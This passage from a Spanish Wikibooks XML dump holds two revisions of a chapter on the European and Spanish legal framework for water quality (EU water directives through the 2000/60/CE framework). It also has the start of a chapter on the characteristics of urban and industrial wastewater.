'''contaminación causada por determinadas sustancias peligrosas.''' 

* Aplicable a aguas subterráneas.

* Clasificación de sustancias en listas I y II (no idénticas a las de la Dir. 76/464/CEE).

* Se distinguen vertidos directos e indirectos (los que se filtran).

* Los vertidos requieren autorización. Criterios:
** Impedir la introducción de vertidos de lista I en los acuíferos.
** Limitar la introducción de sustancias de lista II.

'''Directiva 91/271/CEE: relativa al tratamiento de las aguas residuales urbanas''' 
'''Consideraciones generales.''' 

* Recogida, tratamiento y vertido de las aguas residuales.

* Protección del medio ambiente de los efectos negativos de los vertidos.

'''Sistemas de tratamiento y vertido.''' 

* Se establece un calendario para equipar las aglomeraciones urbanas con sistemas colectores y de tratamiento de aguas residuales.

* Se determina el tipo de tratamiento que es aplicable para cada caso.

* Los plazos y los tratamientos se establecen en función del número de habitantes equivalentes y de
las características del medio receptor .

'''Directiva 91/676/CEE: relativa a la protección de las aguas contra la contaminación''' 
'''producida por nitratos utilizados en agricultura.''' 

'''Consideraciones generales.''' 

* Aplicable a aguas superficiales y subterráneas afectadas por la contaminación por nitratos, o que puedan serlo.

'''Medidas aplicables.''' 

* Se establecen códigos voluntarios de buenas prácticas agrarias.
* Se limita el esparcimiento de los abonos que contengan nitrógeno
* Se fijan límites para el esparcimiento de efluentes de origen ganadero.

===Normativa para conseguir el buen estado de las aguas=== 

La calidad ambiental o calidad ecológica de las aguas, viene dado por
las características que definen un ecosistema sano, que es aquel que posee un
alto nivel de biodiversidad, productividad y habitabilidad y que se pone de
manifiesto por una serie de indicadores concretos, propios de cada ecosistema.

Establecer los criterios e indicadores de calidad de un sistema natural no
es fácil, y el objetivo de los mismos es proporcionar una herramienta que
permita clasificar los ecosistemas según su grado de deterioro ambiental. Esta
clasificación ha de servir para tomar las medidas necesarias y diseñar un plan
estratégico de recuperación de los mismos.

Estas acepciones del concepto de calidad del agua, quedan recogidos
en la nueva directiva 2000/60/CE por la que se establece un marco comunitario
de actuación en el ámbito de la política de aguas en la Comunidad Europea. En
ella se determinan las líneas a seguir para establecer los criterios de calidad
ecológica de los ecosistemas acuáticos, criterios que los países miembros
deberán garantizar y preservar.

En esta nueva directiva se relega el concepto de calidad y se introduce
el término de ESTADO DE LAS AGUAS. El estado de una masa de agua
natural viene dado por su estado ecológico y su estado químico. Se considera
que las aguas se encuentran en un buen estado cuando su estado ecológico y
su estado químico sean buenos.

El estado ecológico de un agua sería una expresión de la calidad de la
estructura y del funcionamiento del ecosistema y cuyos criterios de clasificación
(muy bueno, bueno y aceptable), en función del tipo de ecosistema acuático de
que se trate, se recogen en los anexos de la directiva.

El buen estado químico de un agua será el necesario para cumplir los
objetivos medioambientales que se definan.

Así mismo se incluye el término de “estado cuantitativo” de un agua,
entendiendo como tal una expresión del grado en que afectan a una masa de
agua subterránea las extracciones directas e indirectas.

'''Directiva 2000/60/CE por la que se establece un marco comunitario de actuación en el''' 
'''ámbito de la política de aguas en la Comunidad Europea''' 
'''Consideraciones generales.''' 

* Visión global, al tratar diferentes aspectos sobre el agua.

* Inclusión del concepto de estado ecológico de las aguas.

* Gestión única de las demarcaciones hidrográficas.

* Tratamiento específico de las aguas subterráneas.

* Utilización de nuevas estrategias para combatir la contaminación.

* Estudios económicos

* Tratamiento conjunto de las aguas superficiales

'''Objetivo.''' 

* Prevenir cualquier deterioro adicional en la cantidad y calidad de todas las aguas de Europa.

* Conseguir un “buen estado” de todas las aguas antes del año 2015 (“buen estado ecológico” y “buen estado químico”)

'''Determinación del mapa del estado ecológico de las aguas.''' 

* Asignación de las aguas superficiales a tipos ecológicos.
** Gran cantidad de masas de agua con condiciones naturales diferentes.
** Cada masa de agua se debe asignar a un tipo para facilitar comparaciones y desarrollar un lenguaje común.
** Se establecen dos sistemas (A y B) para la asignación de los tipos.

* Establecimiento de condiciones de referencia.
** Condiciones hidromorfológicas y fisicoquímicas específicas. Deben representar el “muy buen estado ecológico” (sin impacto humano).
** Se establecerán condiciones biológicas de referencia, que representen los valores de los indicadores de calidad biológica.

* Establecimiento de los límites muy bueno/bueno/aceptable
** Los resultados de los sistemas de control se expresarán como índices de calidad ecológicos.
** El índice se expresará como un valor numérico variable entre 0 y 1.
** Los límites se establecerán mediante un sistema de intercalibración organizado por la Comisión.

* Control y asignación de estados
** Tiene que cubrir, al menos, los parámetros indicativos de cada uno de los indicadores de calidad establecidos. '''Directiva 2000/60/CE por la que se establece un marco comunitario de actuación en el ámbito de la política de aguas en la Comunidad Europea''' 
** Comparación del valor de los parámetros con el de las condiciones de referencia.
** Cada indicador será definido como muy bueno, bueno, aceptable, deficiente o malo.

* Mapa del estado de las aguas.
** Para cada demarcación hidrográfica, se clasificará el estado ecológico de cada masa de agua con código de colores:
*** Muy bueno: azul.
*** Bueno: verde.
*** Aceptable: amarillo
*** Deficiente: naranja.
*** Malo: rojo.
** Se clasificará el estado químico de las masas de agua superficial:
*** Bueno: azul.
*** No alcanza el buen estado: rojo.
** Buen estado químico: cuando cumpla todas las normas de calidad medioambiental.

'''Estrategias para combatir la contaminación.''' 

* Estudio de las repercusiones de la actividad humana. Identificación y estimación de las presiones, evaluación de los impactos.

* Protección de aguas potables y otras zonas protegidas. Registro de zonas protegidas y control y protección de las masas de agua utilizadas para la captación de agua potable.

* Programas de vigilancia y control. Se establecerán programas de seguimiento del estado de las aguas.

* Enfoque combinado para el control de vertidos.

* Programa de medidas básicas y complementarias.


{{navegar
 |libro=Ingeniería de aguas residuales
 |reducido=Si
 |anterior=Índice
 |actual=La calidad del agua. Marco jurídico
 |siguiente=Características de las aguas residuales
}}

[[Categoría:Ingeniería de aguas residuales]]

{{AutoCat}}</text>
      <sha1>b6mffcbfs4zacjbp4qpjvfk6tz0ful2</sha1>
    </revision>
    <revision>
      <id>429988</id>
      <parentid>429957</parentid>
      <timestamp>2026-08-02T09:38:43Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Ingeniería de aguas residuales]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429988</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="16045" sha1="7kxtiso8b7jbiqlc4n4i6ck25s76dd4" xml:space="preserve">{{TOC|right}}
===Introducción=== 
{{:Ingeniería de aguas residuales/Introducción}}

===El concepto de calidad en el agua=== 
La calidad del agua es una variable fundamental del medio hídrico, tanto
en lo que respecta a la caracterización ambiental como desde la perspectiva de
la planificación hidrológica. Este término puede responder a varias definiciones,
que se han visto reflejadas en la legislación a lo largo del tiempo.

De forma tradicional se ha entendido por calidad de un agua el conjunto
de características físicas, químicas y biológicas que hacen que el agua sea
apropiada para un uso determinado. Esta definición ha dado lugar a diversa
normativa, que asegura la calidad suficiente para garantizar determinados
usos, pero que no recoge los efectos y consecuencias que la actividad humana
tiene sobre las aguas naturales.

La incidencia humana sobre las aguas se ejerce fundamentalmente a
través del vertido a sistemas naturales de efluentes residuales. Se hace por
tanto necesario establecer los criterios de calidad que han de reunir las aguas
residuales antes de ser evacuadas en un sistema receptor.

La consideración de los criterios de calidad de los vertidos resulta
insuficiente como garantía de conservación de los recursos hídricos, de manera
que éstos se mantengan en condiciones tales que aseguren su disponibilidad
en un futuro en cantidad y calidad adecuada. Esta garantía viene dada por el
mantenimiento de las condiciones ambientales naturales que permitan
preservar el equilibrio autorregulador de los ecosistemas acuáticos.

De aquí surge la necesidad de definir un nuevo concepto de calidad que
se desvincule totalmente de los usos, y que tenga como punto de referencia el
propio recurso en sí y no los fines a los que se destina.

Esta sería la CALIDAD INTRÍNSECA O NATURAL DE LAS AGUAS, que
se define por las condiciones fisicoquímicas y biológicas de un medio natural
que no ha sufrido intervención humana.

===Normativa de calidad de aguas en función del uso=== 
En base a la vinculación entre calidad de aguas y sus usos, se
establecen estándares y criterios de calidad específicos que definen los
requisitos que ha de reunir un determinado agua para un fin concreto,
requisitos que, generalmente, vienen expresados como rangos cuantitativos de
determinadas características fisicoquímicas y biológicas.

Una vez establecidos estos criterios de calidad en función del uso, se
promulgan leyes y se desarrollan programas orientados a garantizar el
cumplimiento de dichos criterios. Así, la normativa española y europea en
materia de calidad de aguas se recoge en la siguiente tabla:

'''NORMATIVA EUROPEA NORMATIVA ESPAÑOLA''' 

'''Abastecimiento''' 
'''humano (captación) ''' Directiva 75/440/CEE.
R.D. 927/1988 (Anexo I del
R.A.P.A. y P.H.*).
Orden 11/05/1988 y Orden
15/10/1990.

'''Abastecimiento''' 
'''humano (agua''' 
'''potable)''' 
Directiva 80/778/CEE
Directiva 98/83/CE
R.D. 1423/82, R.T.S.** para
aguas potables

'''Baño (uso recreativo)''' 

Directiva 76/160/CEE R.D. 927/1988 (Anexo II del
R.A.P.A. y P.H.*).

'''Agua para la cría de''' 
'''moluscos ''' Directiva 79/23/CEE R.D. 927/1988 (Anexo IV del
R.A.P.A. y P.H.*).

'''Agua para la vida''' 
'''piscícola ''' Directiva 78/659/CEE R.D. 927/1988 (Anexo III del
R.A.P.A. y P.H.*).

* R.A.P.A. y P.H.: Reglamento para la Administración Pública del Agua y de la Planificación Hidrológica.
** R.T.S.: Reglamento Técnico Sanitario


Como ejemplo de este tipo de normativa, se recoge a continuación un
breve desarrollo de lo dispuesto en la Directiva 75/440/CEE.

'''Directiva 75/440/CEE: relativa a la calidad requerida para las aguas superficiales''' 
'''destinadas a la producción de agua potable en los estados miembros''' 
'''Consideraciones generales.''' 

* Se trata de una norma con finalidad ambiental (no sanitaria).

* Situación de partida (ideal): todos los abastecimientos de aguas a poblaciones poseen un tratamiento adecuado para potabilización de as aguas servidas.

* Se pretende que las condiciones aceptables para un tramo de río inmediatamente aguas arriba de una derivación para abastecimiento no se vean perturbadas.

'''Clasificación de las aguas superficiales.''' 

* A1: sólo precisan tratamiento físico simple y desinfección.

* A2: tratamiento físico normal, tratamiento químico y desinfección.

* A3: tratamiento físico y químico intensivos y desinfección.

* Se fijan dos series de límites. Unos imperativos y otros niveles guía.

'''Gestión de las aguas.''' 

* Para cada punto de toma de muestras se establecerá en nivel de calidad, según el tipo de tratamiento.

* Gestión: medidas para que las aguas se ajusten a valores definidos. Paralelamente, se debe garantizar la mejora continua del medio.

'''Control de calidad.''' 

* Toma periódica de muestras y análisis.

* Es conforme la calidad:
** si el 95% de las muestras son conformes con sus límites en las columnas I
** si el 90% de las muestras conformes con sus límites en las columnas I y G
** si el 5 ó el 10% no conforme no supera en más del 50% los límites y no hay peligro para la salud pública

===Normativa en función de los efectos de la actividad humana=== 
La consideración de los efectos de la actividad humana en las aguas
naturales se puede contemplar desde diferentes puntos de vista, en función
del medio que recibe el efluente (aguas subterráneas, continentales o litorales)
y del origen de los vertidos (directos e indirectos).

Se establecen niveles de calidad para la evacuación de vertidos en
sistemas acuáticos naturales, lo cual supone un avance con respecto al
concepto de calidad tradicional, ligado al uso, y constituyen una medida de
protección para estos sistemas.

Estos criterios de calidad se reflejan en la siguiente normativa.

{| border=1 

! !!Normativa europea!!Normativa española
|-----------------
|'''Vertidos a aguas'''
'''subterráneas '''
||Directiva 80/68/CEE.
||Ley de Aguas.

R.D. 849/1986 Reglamento del D.P.H.

R.D. 1315/92 de 30 de octubre
|-----------------
|'''Vertidos a aguas'''
'''litorales'''
||Directiva 76/464/CEE.

Directiva 91/271/CEE.

Directiva 91/676/CEE.
||Ley 22/1988 de Costas.

R.D. 1471/1.989.

R.D. 261/96

Decreto 141/996 (Andalucía).
|-----------------
|'''Vertidos a aguas'''
'''continentales'''
||Directiva 76/464/CEE.

Directiva 91/271/CEE.

Directiva 91/676/CEE.
||Ley de Aguas.

R.D. 849/1986 Reglamento del D.P.H.

R.D. 1315/92 de 30 de octubre.
|}


En esta normativa se tratan diferentes asuntos relacionados con la
calidad de las aguas, como es la protección contra la contaminación causada
por sustancias peligrosas, el tratamiento y vertido de aguas residuales urbanas
e industriales o la contaminación por nitratos a partir de fuentes agrícolas.


A continuación se presentan, de forma esquemática, el contenido de las
Directivas que se han mencionado.

'''Directiva 76/464/CEE: relativa a la contaminación causada por determinadas''' 
'''sustancias peligrosas vertidas desde fuentes terrestres en el medio acuático.''' 

'''Consideraciones generales.''' 

* Aplicable a aguas continentales y costeras.

* El objeto es regular los vertidos, para lo que se exige autorización administrativa.

'''Clasificación de las sustancias.''' 

* Lista I: sustancias que, por su toxicidad, persistencia o bioacumulación deben ser reguladas con mayor rigor.

* Lista II: sustancias perjudiciales, de menor peligrosidad, cuyo vertido pueda ser considerado de efectos limitados según las características de las aguas receptoras.

'''Modalidades de reglamentación.''' 

* Normas de emisión: se fijan valores que no deben ser superados en el efluente
* Objetivos de calidad: se fijan concentraciones máximas en las aguas receptoras.

'''Gestión de los vertidos.''' 

* Vertidos que contengan sustancias de la Lista I. Se pretende la eliminación de la contaminación producida por estas sustancias y se establecen las siguientes obligaciones:
** Autorización de los vertidos. Se fijarán normas de emisión.
** Inventario de vertidos.
** Redes de vigilancia.

* Vertidos que contengan sustancias de la Lista II. Se pretende reducir la contaminación inducida por el vertido de estas sustancias se establecen las siguientes obligaciones:
** Autorización de los vertidos. Se fijarán normas de emisión.
** Programas de reducción de la contaminación. Objetivos de calidad.
** Notificación a la Comisión de programas y resultados.

'''Directiva 80/68/CEE: relativa a la protección de las aguas subterráneas contra la''' 
'''contaminación causada por determinadas sustancias peligrosas.''' 


'''Directiva 80/68/CEE: relativa a la protección de las aguas subterráneas contra la''' 
'''contaminación causada por determinadas sustancias peligrosas.''' 

* Aplicable a aguas subterráneas.

* Clasificación de sustancias en listas I y II (no idénticas a las de la Dir. 76/464/CEE).

* Se distinguen vertidos directos e indirectos (los que se filtran).

* Los vertidos requieren autorización. Criterios:
** Impedir la introducción de vertidos de lista I en los acuíferos.
** Limitar la introducción de sustancias de lista II.

'''Directiva 91/271/CEE: relativa al tratamiento de las aguas residuales urbanas''' 
'''Consideraciones generales.''' 

* Recogida, tratamiento y vertido de las aguas residuales.

* Protección del medio ambiente de los efectos negativos de los vertidos.

'''Sistemas de tratamiento y vertido.''' 

* Se establece un calendario para equipar las aglomeraciones urbanas con sistemas colectores y de tratamiento de aguas residuales.

* Se determina el tipo de tratamiento que es aplicable para cada caso.

* Los plazos y los tratamientos se establecen en función del número de habitantes equivalentes y de
las características del medio receptor .

'''Directiva 91/676/CEE: relativa a la protección de las aguas contra la contaminación''' 
'''producida por nitratos utilizados en agricultura.''' 

'''Consideraciones generales.''' 

* Aplicable a aguas superficiales y subterráneas afectadas por la contaminación por nitratos, o que puedan serlo.

'''Medidas aplicables.''' 

* Se establecen códigos voluntarios de buenas prácticas agrarias.
* Se limita el esparcimiento de los abonos que contengan nitrógeno
* Se fijan límites para el esparcimiento de efluentes de origen ganadero.

===Normativa para conseguir el buen estado de las aguas=== 

La calidad ambiental o calidad ecológica de las aguas, viene dado por
las características que definen un ecosistema sano, que es aquel que posee un
alto nivel de biodiversidad, productividad y habitabilidad y que se pone de
manifiesto por una serie de indicadores concretos, propios de cada ecosistema.

Establecer los criterios e indicadores de calidad de un sistema natural no
es fácil, y el objetivo de los mismos es proporcionar una herramienta que
permita clasificar los ecosistemas según su grado de deterioro ambiental. Esta
clasificación ha de servir para tomar las medidas necesarias y diseñar un plan
estratégico de recuperación de los mismos.

Estas acepciones del concepto de calidad del agua, quedan recogidos
en la nueva directiva 2000/60/CE por la que se establece un marco comunitario
de actuación en el ámbito de la política de aguas en la Comunidad Europea. En
ella se determinan las líneas a seguir para establecer los criterios de calidad
ecológica de los ecosistemas acuáticos, criterios que los países miembros
deberán garantizar y preservar.

En esta nueva directiva se relega el concepto de calidad y se introduce
el término de ESTADO DE LAS AGUAS. El estado de una masa de agua
natural viene dado por su estado ecológico y su estado químico. Se considera
que las aguas se encuentran en un buen estado cuando su estado ecológico y
su estado químico sean buenos.

El estado ecológico de un agua sería una expresión de la calidad de la
estructura y del funcionamiento del ecosistema y cuyos criterios de clasificación
(muy bueno, bueno y aceptable), en función del tipo de ecosistema acuático de
que se trate, se recogen en los anexos de la directiva.

El buen estado químico de un agua será el necesario para cumplir los
objetivos medioambientales que se definan.

Así mismo se incluye el término de “estado cuantitativo” de un agua,
entendiendo como tal una expresión del grado en que afectan a una masa de
agua subterránea las extracciones directas e indirectas.

'''Directiva 2000/60/CE por la que se establece un marco comunitario de actuación en el''' 
'''ámbito de la política de aguas en la Comunidad Europea''' 
'''Consideraciones generales.''' 

* Visión global, al tratar diferentes aspectos sobre el agua.

* Inclusión del concepto de estado ecológico de las aguas.

* Gestión única de las demarcaciones hidrográficas.

* Tratamiento específico de las aguas subterráneas.

* Utilización de nuevas estrategias para combatir la contaminación.

* Estudios económicos

* Tratamiento conjunto de las aguas superficiales

'''Objetivo.''' 

* Prevenir cualquier deterioro adicional en la cantidad y calidad de todas las aguas de Europa.

* Conseguir un “buen estado” de todas las aguas antes del año 2015 (“buen estado ecológico” y “buen estado químico”)

'''Determinación del mapa del estado ecológico de las aguas.''' 

* Asignación de las aguas superficiales a tipos ecológicos.
** Gran cantidad de masas de agua con condiciones naturales diferentes.
** Cada masa de agua se debe asignar a un tipo para facilitar comparaciones y desarrollar un lenguaje común.
** Se establecen dos sistemas (A y B) para la asignación de los tipos.

* Establecimiento de condiciones de referencia.
** Condiciones hidromorfológicas y fisicoquímicas específicas. Deben representar el “muy buen estado ecológico” (sin impacto humano).
** Se establecerán condiciones biológicas de referencia, que representen los valores de los indicadores de calidad biológica.

* Establecimiento de los límites muy bueno/bueno/aceptable
** Los resultados de los sistemas de control se expresarán como índices de calidad ecológicos.
** El índice se expresará como un valor numérico variable entre 0 y 1.
** Los límites se establecerán mediante un sistema de intercalibración organizado por la Comisión.

* Control y asignación de estados
** Tiene que cubrir, al menos, los parámetros indicativos de cada uno de los indicadores de calidad establecidos. '''Directiva 2000/60/CE por la que se establece un marco comunitario de actuación en el ámbito de la política de aguas en la Comunidad Europea''' 
** Comparación del valor de los parámetros con el de las condiciones de referencia.
** Cada indicador será definido como muy bueno, bueno, aceptable, deficiente o malo.

* Mapa del estado de las aguas.
** Para cada demarcación hidrográfica, se clasificará el estado ecológico de cada masa de agua con código de colores:
*** Muy bueno: azul.
*** Bueno: verde.
*** Aceptable: amarillo
*** Deficiente: naranja.
*** Malo: rojo.
** Se clasificará el estado químico de las masas de agua superficial:
*** Bueno: azul.
*** No alcanza el buen estado: rojo.
** Buen estado químico: cuando cumpla todas las normas de calidad medioambiental.

'''Estrategias para combatir la contaminación.''' 

* Estudio de las repercusiones de la actividad humana. Identificación y estimación de las presiones, evaluación de los impactos.

* Protección de aguas potables y otras zonas protegidas. Registro de zonas protegidas y control y protección de las masas de agua utilizadas para la captación de agua potable.

* Programas de vigilancia y control. Se establecerán programas de seguimiento del estado de las aguas.

* Enfoque combinado para el control de vertidos.

* Programa de medidas básicas y complementarias.


{{navegar
 |libro=Ingeniería de aguas residuales
 |reducido=Si
 |anterior=Índice
 |actual=La calidad del agua. Marco jurídico
 |siguiente=Características de las aguas residuales
}}

{{AutoCat}}</text>
      <sha1>7kxtiso8b7jbiqlc4n4i6ck25s76dd4</sha1>
    </revision>
  </page>
  <page>
    <title>Ingeniería de aguas residuales/Características de las aguas residuales</title>
    <ns>0</ns>
    <id>12665</id>
    <revision>
      <id>429958</id>
      <parentid>312226</parentid>
      <timestamp>2026-08-02T09:27:57Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429958</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="14298" sha1="inz2e4mgvq3xa29ry858mtnto6rpj41" xml:space="preserve">===NECESIDAD DE CONTROLAR ANALÍTICAMENTE EL AGUA. ===

Parece evidente que las características de un determinado tipo de agua
que va a ser utilizada para un uso concreto serán diferentes, o cuanto menos,
no tienen por qué ser idénticas para el agua destinada a otro fin.

En cualquier caso, el control analítico exhaustivo, sistemático y periódico
de un agua viene impuesto por dos condicionantes de tipo general:
* Contrastación y comprobación de sus características físicas.

* Complementando y apoyando lo anterior con fuerza para ser exigido legalmente, se encuadra el aspecto relativo a regulaciones, normativas y leyes de diferentes ámbito territorial de aplicación que han de ser inexcusablemente cumplidas en cuanto al control de la calidad del producto “agua”.


Además, debe controlarse el agua bruta no tratada (agua natural de ríos,
embalses y lagos) que pueda ser susceptible de diferentes usos
( potabilización, cría de peces, moluscos, riegos, usos recreativos) a fin de
determinar la posibilidad o no del uso previsto, así como el grado de
tratamiento industrial necesario para lograr su adecuación de calidad. Para esta
faceta también se dispone de las correspondientes normativas nacionales,
derivadas a su vez, en el caso de España de la Directiva de la CEE.

Otro aspecto a considerar: el de las aguas negras o vertidos residuales
líquidos domésticos y/o industriales. También han de ser sistemáticamente
analizados y controlados debido, de una parte a la valoración de su posible
incidencia negativa sobre el medio ambiente, y la necesidad ulterior de su
depuración antes de su expedición a aquel. Se intentaría evitar de este modo
en lo posible, el alto grado de polución provocado por estas aguas residuales.

En segundo lugar, existen otras regulaciones y normativas (nacionales,
autonómicas y municipales) que imponen un control de emisiones encaminado
a la preservación del cada vez más degradado medio ambiente.


Finalmente, otro aspecto justifica la necesidad del control sistemático del
agua: los procesos de potabilización y/o depuración de agua La única forma
razonable, coherente y lógica de asegurarse el explotador de una ETAP
(Estación de Tratamiento de Agua Potable) o EDAR (Estación Depuradora de
Aguas Residuales) que el Rendimiento del proceso aplicado es o no el
esperado, es decir;- que deben o no acometerse modificaciones en las
diferentes fases del tratamiento industrial de un agua, pasa por la
comprobación vía laboratorio, vía instrumentación de planta en continuo, de
algunas características “claves” de calidad del agua en fase de tratamiento.

===CLASIFICACIÓN DE LAS AGUAS RESIDUALES. ===

AGUA RESIDUAL: Aquella que procede de haber utilizado un agua
natural, o de la red, en un uso determinado. Las A.R. cuando se desaguan se
denominan VERTIDOS y éstos pueden clasificarse en función:
* Del uso prioritario u origen
* De su contenido en determinados contaminantes
Los vertidos residuales arrastran compuestos con los que las aguas han
estado en contacto. Estos compuestos pueden ser:

''a) Según su Naturaleza:''

i) Conservativos: Su concentración en el río depende exactamente de la
ley de la dilución del caudal del vertido al del río.

Generalmente: Compuestos Inorgánicos y estables (C1 ,SO4 )

ii.) No Conservativos: Su concentración en el río no está ligada
directamente a la del vertido. Son todos los compuestos orgánicos e
inorgánicos que pueden alterarse en el río por vía Física, Química o Biológica
(NH4 , fenoles, Materia Orgánica. . .)

Además, entre los compuestos existen fenómenos de tipo:
* Antagonismo: (1 Efecto) Ej. Dureza (al Zn)
* Sinergismo: (1 Efecto) Ej. Escasez de O(al Zn)
A continuación se va a realizar una descripción de los principales tipos
de A.R.


===AGUAS RESIDUALES URBANAS. ===

'''Procedencia de la contaminación en los núcleos urbanos:'''

* Servicios domésticos y públicos
* Limpieza de locales
* Drenado de Aguas Pluviales

'''Tipos de contaminantes:'''

* Materia Orgánica (principalmente) en suspensión y disuelta
* N; P; NaCl y otras sales minerales
* Microcontaminantes procedentes de nuevos productos
* Las A.R. de lavado de calles arrastran principalmente materia sólida
inorgánica en suspensión, además de otros productos (fenoles, plomo -escape
vehículos motor-, insecticidas -jardines-...)

====Características Físico-Químicas====

La Temperatura de las A.R. oscila entre 10-20 oC (15 oC) · Además de
las cargas contaminantes en Materias en suspensión y Materias Orgánicas, las
A.R. contienen otros muchos compuestos como nutrientes (N y P), Cloruros,
detergentes... cuyos valores orientativos de la carga por habitante y día son:
* N amoniacal: 3-10 gr/hab/d
* N total: 6.5-13 gr/hab/d
* P (PO&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;3-&lt;/sup&gt;) ; 4-8 gr/hab/d
* Detergentes : 7-12 gr/hab/d

En lugares donde existen trituradoras de residuos sólidos las
A.R.(aguas residuales)Urbanas están mucho más cargadas (100 % más)

====Características Biológicas. ====
En las A·R. van numerosos microorganismos., unos patógenos y otros
no. Entre los primeros cabe destacar los virus de la Hepatitis. Por ej. en 1 gr. de
heces de un enfermo existen entre 10-106 dosis infecciosas del virus de la
hepatitis.


El tracto intestinal del hombre contiene numerosas bacterias conocidas
como Organismos COLIFORMES. Cada individuo evacua de 105-4x105
millones de coliformes por día, que aunque no son dañinos, se utilizan como
indicadores de contaminación debido a que su presencia indica la posibilidad
de que existan gérmenes patógenos de más difícil detección.


Las A.R.Urbanas contienen: l06 colif. totales / 100 ml

===AGUAS RESIDUALES INDUSTRIALES. ===

Son las que proceden de cualquier taller o negocio en cuyo proceso de
producción, transformación o manipulación se utilice el agua, incluyéndose los
líquidos residuales, aguas de proceso y aguas de refrigeración. .

Líquidos Residuales: Los que se derivan de la fabricación de productos,
siendo principalmente disoluciones de productos químicos tales como lejías
negras, los baños de curtido de pieles, las melazas de la producción de azúcar,
los alpechines...


Se debe intentar la recuperación de subproductos
A.R. de Proceso: Se originan en la utilización del agua como medio de
transporte, lavado, refrigeración directa... y que puede contaminarse con los
productos de fabricación o incluso de los líquidos residuales.


Generalmente su contaminación es &lt;10% de la de los líquidos
residuales aunque su volumen es 10-50 veces mayor.


Aguas de Refrigeración Indirecta: No han entrado en contacto con los
productos y por tanto la única contaminación que arrastran es su temperatura.

Ahora bien, hoy día hay que considerar también la existencia de productos que
evitan problemas de explotación ( estabilizantes contra las incrustaciones y
corrosiones, algicidas...) que pueden ser contaminantes.


====Tipos de Vertidos Industriales. ====

i) Continuos: Provienen de procesos en los que existe una entrada y una
salida continua de agua (Procesos de Transporte, lavado, refrigeración...)

ii ) Discontinuos: Proceden de operaciones intermedias. Son los más
contaminados ( Baños de decapado, baños de curtidos, lejías negras,
emulsiones...)

Al aumentar el tamaño de la industria, algunos vertidos discontinuos
pueden convertirse en continuos.


====Clasificación de las Industrias según sus Vertidos. ====

Se clasifican en 5 grupos de acuerdo con los contaminantes específicos
que arrastran las A.R.

''CLASIFICACIÓN DE LAS INDUSTRIAS SEGÚN SUS VERTIDOS:''

'''INDUSTRIAS CON EFLUENTES PRINCIPALMENTE ORGÁNICOS'''

* Papeleras
* Azucareras
* Mataderos
* Curtidos
* Conservas ( vegetales, carnes, pescado...)
* Lecherías y subproductos [leche en polvo, mantequilla, queso...)
* Fermentación ( fabricación de alcoholes,levaduras...)
* Preparación de productos alimenticios ( aceites y otros )
* Bebidas
* Lavanderías

'''INDUSTRIAS CON EFLUENTES ORGÁNICOS E INORGÁNICOS'''

* Refinerías y Petroquímicas
* Coquerias
* Textiles 
* Fabricación de productos químicos, varios

'''INDUSTRIAS CON EFLUENTES PRINCIPALMENTE INORGÁNICOS'''

* Limpieza y recubrimiento de metales
* Explotaciones mineras y salinas
* Fabricación de productos químicos, inorgánicos.


'''INDUSTRIAS CON EFLUENTES CON MATERIAS EN SUSPENSIÓN'''

* Lavaderos de mineral y carbón
* Corte y pulido de mármol y otros minerales
* Laminación en caliente y colada continua.


'''INDUSTRIAS CON EFLUENTES DE REFRIGERACIÓN'''

* Centrales térmicas
* Centrales nucleares

====Contaminación Característica de la Industria. ====

Cada actividad industrial aporta una contaminación determinada por lo
que es conveniente conocer el origen del vertido industrial para valorar su
carga contaminante e incidencia en el medio receptor. Cuando se conoce el
origen del vertido, el número de parámetros que definen la carga contaminante
del mismo es reducido.


====Valoración de la Carga Contaminante que vierte la industria. ====

Para superar la dificultad que supone generalizar esta valoración (pues
no existen 2 industrias iguales), al menos cuando se trata de estimar la carga
contaminante contenida en las A.R. con vistas al dimensionamiento de su
planta depuradora, se ha recurrido al concepto de “POBLACION
EQUIVALENTE”. Este valor se deduce dividiendo los Kgr. de DBO(demanda biológica de oxígeno) contenidos
en el A.R., correspondiente a la producción de una unidad determinada, por la
DBO que aporta un habitante por día, valor para el que en Europa se considera
un valor medio de 60 gr. Ahora bien, dado que el término “Población
Equivalente” sólo se refiere a una contaminación de carácter orgánico, a la
hora de dimensionar la planta depuradora seria necesario, al menos, tener en
cuenta además de la DBO, los Sólidos en Suspensión (SS).

En Francia se basaron en los parámetros de DQO, DBO y SS para el
cálculo del canon de vertido. · En Francia y Cataluña existen tablas que
establecen el canon de vertido industrial en función de la producción de la
actividad o el número de operarios. Estos valores los aplican las Agencias
Financieras de Cuenca.

Posterior se han introducido además Sólidos Disueltos (medidos por la
conductividad en mho/cm); N y P

====Características Medias Típicas de las Aguas Residuales de algunas Industrias. ====

No obstante las dificultades apuntadas para establecer unos valores
para las características de las A.R., a continuación señalamos como
orientación los valores más frecuentes para algunas industrias.


''CONTAMINACIÓN CARACTERÍSTICA DE LA INDUSTRIA''

'''AGUAS RESIDUALES DE LA INDUSTRIA PAPELERA'''

* Color
* Materia en suspensión y decantable
* DBO5 u otra que nos defina la materia orgánica
* En algunos casos ( muy pocos ) el pH -


'''INDUSTRIA LECHERA'''

* DBO5 u otra determinación que nos defina la materia orgánica

'''INDUSTRIA DEL CURTIDO'''

* Alcalinidad
* Materia en suspensión y decantable
* DBO5 u otra que nos defina la materia orgánica
* Sulfuros
* Cromo

'''REFINERÍAS'''

* Aceites
* DBO5 u otra que nos defina la materia orgánica
* Fenoles
* Amoniaco
* Sulfuros

'''INDUSTRIAS DE ACABADO DE METALES'''

* pH
* Cianuros
* Metales, según el proceso de acabado

'''LAVADEROS DE MINERAL'''

a) Si son de hierro:


* Sólidos sedimentables
* Sólidos en suspensión después de decantación
b) Si son de otros materiales habrá que detectarlos así como a los
productos tóxicos orgánicos que pueden emplearse como agentes
humectantes o flotantes

'''SIDERURGIAS INTEGRAL'''

* Fenoles
* Alquitranes
* Cianuros libres y complejos
* DBO5
* Sulfuros
* Materias en suspensión
* pH
* Hierro
* Aceites y grasas

'''LAMINACIÓN EN CALIENTE'''

* Aceites y grasas
* Sólidos en suspensión

'''PLANTAS DE ACIDO SULFURICO'''

* Ácidos


* Sólidos sedimentables
* Arsénico, selenio y mercurio


